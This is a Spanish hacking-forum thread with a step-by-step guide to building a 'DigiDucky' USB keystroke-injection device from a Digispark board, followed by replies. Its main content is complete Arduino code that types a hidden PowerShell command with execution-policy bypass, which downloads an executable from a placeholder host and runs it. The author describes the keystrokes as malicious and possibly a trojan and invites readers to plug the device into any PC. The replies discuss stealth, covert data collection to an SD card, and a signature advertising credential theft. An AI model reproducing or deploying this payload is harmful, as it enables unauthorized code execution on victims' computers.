Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

[Rubber Ducky] DigiDucky desde 0 hasta la intrusion.

  • 46 Respuestas
  • 23723 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado 79137913

« en: Febrero 01, 2017, 12:16:14 pm »
HOLA!!!

En este post explicare desde cero como hacer un DigiDucky (alternativa al RubberDucky mucho mas economica).



Pasos:

1 - Comprar la placa:
Para argentinos yo compre en este tipo y no tuve ningun inconveniente Mercadolibre
Para el resto del Mundo pueden comprarlo de la web oficial de Digistump

2 - Armado de ambiernte de desarrollo:

 a - Instalar el IDE de arduino. Descargar
 b - Instalar Drivers de Digispark y las dependencias del ide mas las librerias. Tutorial (esta en ingles, pero viendo las fotos se hace facil)

3 - El codigo:
Para este post voy a traducir el Payload wget & execute de RubberDucky
Payload original:
Código: [Seleccionar]
GUI r
DELAY 100
STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\""
ENTER

Usaremos la libreria DigiKeyboard.h que lamentablemente esta hecha para teclados con distribucion US y no para teclados españoles (que supongo que es el que mas usamos nosotros), para crear scripts para teclados españoles deberan ir probando hasta encontrar el caracter que buscan, igual en mi ejemplo pueden ver que ya estan la mayoria cambiados a los que corresponden, con esos ya van a tener de sobra para hacer un monton de scripts, igual si necesitan info de como hacer alguna tecla especifica diganme en este post y les voy diciendo.

Codigo para el IDE de arduino [SI VAMOS A USAR EL DIGIDUCKY EN UNA PC CON DISTRIBUCION DE TECLADO ES(ESPAÑOL)]:
Código: C++
  1. #include "DigiKeyboard.h"
  2.  
  3. #define KEY_MODIFIER_LEFT_GUI 0x08
  4.  
  5. int ciclos = 0;
  6.  
  7. void setup() {
  8.   pinMode(1, OUTPUT);     // INICIAMOS EL PIN 1 (LED)
  9.   digitalWrite(1, HIGH);  // ENCENDEMOS EL LED PARA SABER QUE SE INICIO EL DIGIDUCKY
  10. }
  11.  
  12. void loop() {
  13.   DigiKeyboard.update(); //iniciamos y mantenemos activo (keep alive) el driver de teclado
  14.  
  15.   if (ciclos == 0) { //si es el primer ciclo (esto es para que solo se ejecute una vez)
  16.     DigiKeyboard.sendKeyStroke(0); //Enviamos una tecla vacia para iniciar la transferencia
  17.  
  18.     DigiKeyboard.delay(500); //Esperamos medio segundo para asegurarnos que la pc detecta nuestro Digispark como teclado
  19.    
  20.     //Codigo Payload: GUI r
  21.     DigiKeyboard.sendKeyStroke(KEY_R,KEY_MODIFIER_LEFT_GUI); //Tecla inicio(windows) + R
  22.  
  23.     //Codigo Payload: DELAY 100
  24.     DigiKeyboard.delay(250); // esperamos 250ms (para que se abra la ventana ejecutar) (aumente el delay a 250 por que asi es mas estable)
  25.  
  26.     //Codigo Payload: STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\""
  27.     DigiKeyboard.print("powershell /NoP /NonI /W Hidden /Exec Bypass @IEX *New/Object System.Net.WebClient(.DownloadFile*-http>&&example.com&bob.txt-,@$env>temp");
  28.     DigiKeyboard.sendKeyStroke(53, MOD_ALT_RIGHT); // escribimos la barra invertida
  29.     DigiKeyboard.print("[email protected](< Start/Process @$env>temp");
  30.     DigiKeyboard.sendKeyStroke(53, MOD_ALT_RIGHT); // escribimos la barra invertida
  31.     DigiKeyboard.print("[email protected]@");
  32.  
  33.     DigiKeyboard.delay(100); // Esperamos 100ms
  34.  
  35.     //Codigo Payload: ENTER
  36.     DigiKeyboard.sendKeyStroke(KEY_ENTER); // Presionamos enter en la ventana ejecutar
  37.    
  38.     DigiKeyboard.delay(100); //Esperamos 100ms
  39.   }
  40.  
  41. //SEÑAL LUMINICA (PARPADEO)
  42. //Aca generamos la señal luminica para que sepamos que ya se ha ejecutado el script y podemos retirar el DigiDucky
  43.   delay(150);
  44.   digitalWrite(1, HIGH);
  45.   delay(150);
  46.   digitalWrite(1, LOW);
  47. //SEÑAL LUMINICA
  48.      
  49.   ciclos++; //Aumentamos el contador para luego no ejecutar nuevamente la secuencia de teclado
  50. }
  51.  

Codigo para el IDE de arduino [SI VAMOS A USAR EL DIGIDUCKY EN UNA PC CON DISTRIBUCION DE TECLADO US(AMERICANO)]:
Código: C++
  1. #include "DigiKeyboard.h"
  2.  
  3. #define KEY_MODIFIER_LEFT_GUI 0x08
  4.  
  5. int ciclos = 0;
  6.  
  7. void setup() {
  8.   pinMode(1, OUTPUT);     // INICIAMOS EL PIN 1 (LED)
  9.   digitalWrite(1, HIGH);  // ENCENDEMOS EL LED PARA SABER QUE SE INICIO EL DIGIDUCKY
  10. }
  11.  
  12. void loop() {
  13.   DigiKeyboard.update(); //iniciamos y mantenemos activo (keep alive) el driver de teclado
  14.  
  15.   if (ciclos == 0) { //si es el primer ciclo (esto es para que solo se ejecute una vez)
  16.     DigiKeyboard.sendKeyStroke(0); //Enviamos una tecla vacia para iniciar la transferencia
  17.  
  18.     DigiKeyboard.delay(500); //Esperamos medio segundo para asegurarnos que la pc detecta nuestro Digispark como teclado
  19.    
  20.     //Codigo Payload: GUI r
  21.     DigiKeyboard.sendKeyStroke(KEY_R,KEY_MODIFIER_LEFT_GUI); //Tecla inicio(windows) + R
  22.  
  23.     //Codigo Payload: DELAY 100
  24.     DigiKeyboard.delay(250); // esperamos 250ms (para que se abra la ventana ejecutar) (aumente el delay a 250 por que asi es mas estable)
  25.  
  26.     //Codigo Payload: STRING powershell -NoP -NonI -W Hidden -Exec Bypass "IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\""
  27.     DigiKeyboard.print("powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\"$env:temp\bob.exe\"); Start-Process \"$env:temp\bob.exe\"\"");
  28.  
  29.     DigiKeyboard.delay(100); // Esperamos 100ms
  30.  
  31.     //Codigo Payload: ENTER
  32.     DigiKeyboard.sendKeyStroke(KEY_ENTER); // Presionamos enter en la ventana ejecutar
  33.    
  34.     DigiKeyboard.delay(100); //Esperamos 100ms
  35.   }
  36.  
  37. //SEÑAL LUMINICA (PARPADEO)
  38. //Aca generamos la señal luminica para que sepamos que ya se ha ejecutado el script y podemos retirar el DigiDucky
  39.   delay(150);
  40.   digitalWrite(1, HIGH);
  41.   delay(150);
  42.   digitalWrite(1, LOW);
  43. //SEÑAL LUMINICA
  44.      
  45.   ciclos++; //Aumentamos el contador para luego no ejecutar nuevamente la secuencia de teclado
  46. }
  47.  

4 - Compilar y subir:
Colocamos subir en el IDE de arduino y ahi conectamos el Digispark para que se grabe el script.

5 - A divertirse:

Conecten el DigiDucky en cualquier pc y vean la magia!


Notas al pie:
El digispark no se lleva bien con los puertos USB de las pcs, por lo que es recomendable conectarlo a traves de un adaptador.
Yo use estos 2 y funcionaron bien:
Adaptador MachoHembra USB:

Adaptador USBHembra PS2 (este no funciona para pasar el script, solo para ejecutarlo):



ACTUALIZACION: Distribuciones de teclado en español y en español latino

GRACIAS POR LEER!!!
« Última modificación: Junio 03, 2019, 08:14:06 am por 79137913 »
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scout Team*                                                   DOORS.PARTY

Conectado Gabriela

  • *
  • Co Admin
  • Mensajes: 904
  • Actividad:
    0%
  • Reputación 18
    • Ver Perfil
    • Email
« Respuesta #1 en: Febrero 01, 2017, 12:26:29 pm »

 @79137913

Una interesante alternativa, explicada en forma  clara, detallada y comprensible.
Solo habrá que poner manos a la obra y probarlo!

Gracias por el aporte (y su prolijidad  ;D de exposición) y +1.

Saludos

Gabriela


Desconectado rush

  • *
  • Underc0der
  • Mensajes: 383
  • Actividad:
    0%
  • Reputación 7
    • Ver Perfil
  • Skype: iruxh1773
« Respuesta #2 en: Febrero 01, 2017, 01:57:11 pm »
Que tal numeritos, que tan desapercibido pasa la ejecución de los comandos y las ventanas?(me imagino que se logra ver), ya que veo que se tiene que esperar a abrir la ventana de ejecutar, los comandos de la CMD, para ejecutar el payload, ahora otra cosa, que sucede si tu lo conectas a una pc que esta bloqueada, procede la ejecución?

Me gusto, y se me hizo barato a comparacion de RubberDucky.

Estoy casi a punto de comprarlo.

Saludos!

Conectado 79137913

« Respuesta #3 en: Febrero 01, 2017, 02:18:13 pm »
HOLA!!!

@rush

El script a partir de que abre la ventana de ejecutar hasta que se envia el comando (ahi se abre en segundo plano un powershell que no se ve) tarda 3 segundos.

Si la pc esta bloqueada no se ejecutara.

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scout Team*                                                   DOORS.PARTY

Desconectado Kelo_07

  • *
  • Underc0der
  • Mensajes: 71
  • Actividad:
    0%
  • Reputación 4
  • Aprendiendo a mas no poder
    • Ver Perfil
    • Email
« Respuesta #4 en: Febrero 01, 2017, 02:27:31 pm »
 
 @79137913

Buenasss!!
Capas mi duda sea tonta pero sinceramente no se para que funciona, o cual seria su función..
Alguien podría explicarme mas o menos cual seria su función?
Gracias!! Saludos!
Pd: esta muy bien explicado el post, por eso me genero la duda aver si pruebo y me lo hago :D
« Última modificación: Febrero 01, 2017, 02:31:43 pm por Gabriela »
Saludos!



"No temo a los ordenadores; lo que temo es quedarme sin ellos"
     -- Isaac Asimov

Conectado 79137913

« Respuesta #5 en: Febrero 01, 2017, 02:33:16 pm »
HOLA!!!

@Kelo_07

Este dispositivo emula a un RubberDucky en palabras claras, le hace creer a la pc que es un teclado y envia una serie de pulsaciones de teclas.

En este caso las pulsaciones de teclas son maliciosas, descargan un exe y lo ejecutan en la carpeta temp (esto podria ser un troyano por ejemplo).

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scout Team*                                                   DOORS.PARTY

Desconectado Kelo_07

  • *
  • Underc0der
  • Mensajes: 71
  • Actividad:
    0%
  • Reputación 4
  • Aprendiendo a mas no poder
    • Ver Perfil
    • Email
« Respuesta #6 en: Febrero 01, 2017, 02:40:13 pm »
Hola @79137913
Interesante.. Bastante interesante.. Creo que algo asi fue visto en la serie Mr Robot.. Creo, no estoy seguro..
voy a guardar el post en mis favoritos asi intento armarlo :D
Gracias por el post.. Esta muy bien explicado..
Saludos!
Saludos!



"No temo a los ordenadores; lo que temo es quedarme sin ellos"
     -- Isaac Asimov

Desconectado Suri77

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #7 en: Febrero 01, 2017, 09:02:23 pm »
Gracias por la info muy interesante lo voy a probar!

Desconectado HATI

  • *
  • Moderator
  • Mensajes: 438
  • Actividad:
    0%
  • Reputación 13
    • Ver Perfil
« Respuesta #8 en: Febrero 02, 2017, 02:44:04 pm »
@79137913 te pasaste. Si tengo la ocasión lo probaré.

A favoritos!


Jugar o perder

Desconectado JoxM

  • *
  • Underc0der
  • Mensajes: 9
  • Actividad:
    0%
  • Reputación 0
  • Nada siempre es algo
    • Ver Perfil
    • Email
  • Skype: JoxMarkes
« Respuesta #9 en: Mayo 04, 2017, 02:20:29 pm »
Buenas!

Gracias por esta info, llevo un par de días trasteando con Digispark y la verdad que por 1 euro es una pasada.

Estoy tratando de hacer que un teclado europeo funcione sin problemas, soy un poco novato para esto.

Estaría bien ir recopilando información sobre digispark, ya que en español es muy escaso lo que hay.

He estado probando Duck2Park y parece que funciona bastante bien.

Ahora me he puesto a desarollar una aplicación para programar con digispark, quiero hacer algo similar a esto: https://ducktoolkit.com/payload/

Y también le integraré directamente Duck2Park.

Saludos!
Sistema indetectable para obtener credenciales. Contacta conmigo y te hago una demo.

Desconectado Akra2k

  • *
  • Underc0der
  • Mensajes: 6
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #10 en: Mayo 07, 2017, 11:59:39 pm »
Interesante... yo estuve buscando mucho pendrives con Phison, pero en este pais es imposible,

Desconectado Nhevheq

  • *
  • Underc0der
  • Mensajes: 10
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #11 en: Mayo 16, 2017, 06:54:34 pm »
Con esto puedo conectar al digiducky a la pc e instalar un .exe con payload?

Desconectado Nhevheq

  • *
  • Underc0der
  • Mensajes: 10
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #12 en: Mayo 16, 2017, 08:36:28 pm »
Puedo agregarle una tarjeta sd a este DigiDucky?

Desconectado H4R4K1R1

  • *
  • Underc0der
  • Mensajes: 42
  • Actividad:
    0%
  • Reputación 1
    • Ver Perfil
« Respuesta #13 en: Mayo 17, 2017, 03:54:46 am »
Muy interesante, habrá que darle un vistazo en profundidad, muchas gracias por el aporte.

Desconectado matzcontreras

  • *
  • Underc0der
  • Mensajes: 40
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #14 en: Mayo 28, 2017, 09:28:59 pm »
buen aporte, lo del teclado en español es bueno tenerlo en cuenta yo tengo mis librerias en español dado que utilizo arduino leonardo como dispositivo hid y ejecuto un downloader, pero esta tarjeta en mi pais no vale ni la mitad de arduino leonardo, creo que me la comprare gracias.

Desconectado matzcontreras

  • *
  • Underc0der
  • Mensajes: 40
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #15 en: Junio 06, 2017, 11:25:06 pm »
esta bueno el post, inclusive me inspiro a conseguirme la tarjeta, lamentablemente tengo problemas con el layout en US, en arduino como lo tenia simplemente cambie la libreria, pero aqui tengo problemas con el caracter que reemplaza "/" que es "&" el enlace que necesito ejecutar contiene en la url un & y eso me jode, tendre que redireccionar para cambiar el enlace, lo malo que los acortadores estan mas intelegentes ultimamente y si utilizo el de google, saldra la tipica advertencia.

algunos tips para mejorar eso?
 

Conectado 79137913

« Respuesta #16 en: Junio 07, 2017, 08:25:22 am »
HOLA!!!

Si tenes que hacer el caracter & tenes que teclear el caracter que se ubica en Shift 6 en el teclado Estadounidense osea ^.

Prueba y nos contas!

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scout Team*                                                   DOORS.PARTY

Desconectado animanegra

  • *
  • Colaborador
  • *
  • Mensajes: 196
  • Actividad:
    5%
  • Reputación 8
    • Ver Perfil
« Respuesta #17 en: Junio 07, 2017, 08:52:15 am »
Yo monte una caja para conectar joysticks viejos (de la nes, snes, megadrive,MSX,etc..) al pc y mapearlos como teclado. Lo monté con un arduino leonardo (hay versión normal y versión pequeñita) porque tiene la capacidad de conectarse como teclado. Dejo la info de la API que es parecida a la que usáis (o la misma que usa el programa que ponéis) aquí:

https://www.arduino.cc/en/Reference/MouseKeyboard

Realmente me parece que realmente el chip interno que tiene el cacharrico que ponéis es el mismo que lleva el leonardo.
Realmente igual lo suyo seria ponerle un lector de SD y ejecutar un script que se comunique via usbttl con la placa para guardar información útil en la SD. Después retirar la placa y a correr.

https://www.arduino.cc/en/Reference/SD

Realmente igual hay espacio para a traves de printf, montarse un script en powershell que se ejecute al inicio o cosas asi, para no tener que contactar via internet y que no se vea en los programas de monitorización. Y que tome datos relevantes del ordenador para almacenarlos en la sd. Lo unico que hay que cambiar del modo usb tarjeta a modo usb tty desde el programa.

Si lleva una SD se puede hacer que el programa se cargue de la SD al ordenador de modo que despues se ejecute y se ponga a almacenar datos del ordenador en la SD.

Saludos.


Lo siento, no contesto dudas por MP, si tienes dudas las planteas en el foro para que se aproveche toda la comunidad.

42

Desconectado Nhevheq

  • *
  • Underc0der
  • Mensajes: 10
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #18 en: Junio 07, 2017, 03:28:07 pm »
Como se sueldan los pines del digispark?

Conectado 79137913

« Respuesta #19 en: Junio 08, 2017, 10:41:48 am »
HOLA!!!

Para este proyecto no es necesario soldar ningun pin.

GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scout Team*                                                   DOORS.PARTY

 

¿Te gustó el post? COMPARTILO!



Subiendo Shell desde el Panel de Administracion con Upload de Imagenes

Iniciado por ZanGetsu

Respuestas: 13
Vistas: 9186
Último mensaje Octubre 14, 2013, 10:42:26 pm
por Devilboy
Accediendo a Windows XP desde BackTrack 5 utilizando Metasploit

Iniciado por Stiuvert

Respuestas: 1
Vistas: 3614
Último mensaje Abril 04, 2012, 09:08:53 am
por REC
Como Escanear Archivos Maliciosos desde el Terminal

Iniciado por qwartz

Respuestas: 8
Vistas: 5508
Último mensaje Abril 05, 2018, 12:25:24 pm
por 79137913
Espiando satelites desde casa

Iniciado por ANTRAX

Respuestas: 6
Vistas: 12837
Último mensaje Abril 12, 2019, 06:56:48 pm
por BraveF0X
Enumerando dominios de Tor accesibles desde la web

Iniciado por Rootkit_Pentester

Respuestas: 0
Vistas: 2623
Último mensaje Abril 25, 2017, 08:41:04 pm
por Rootkit_Pentester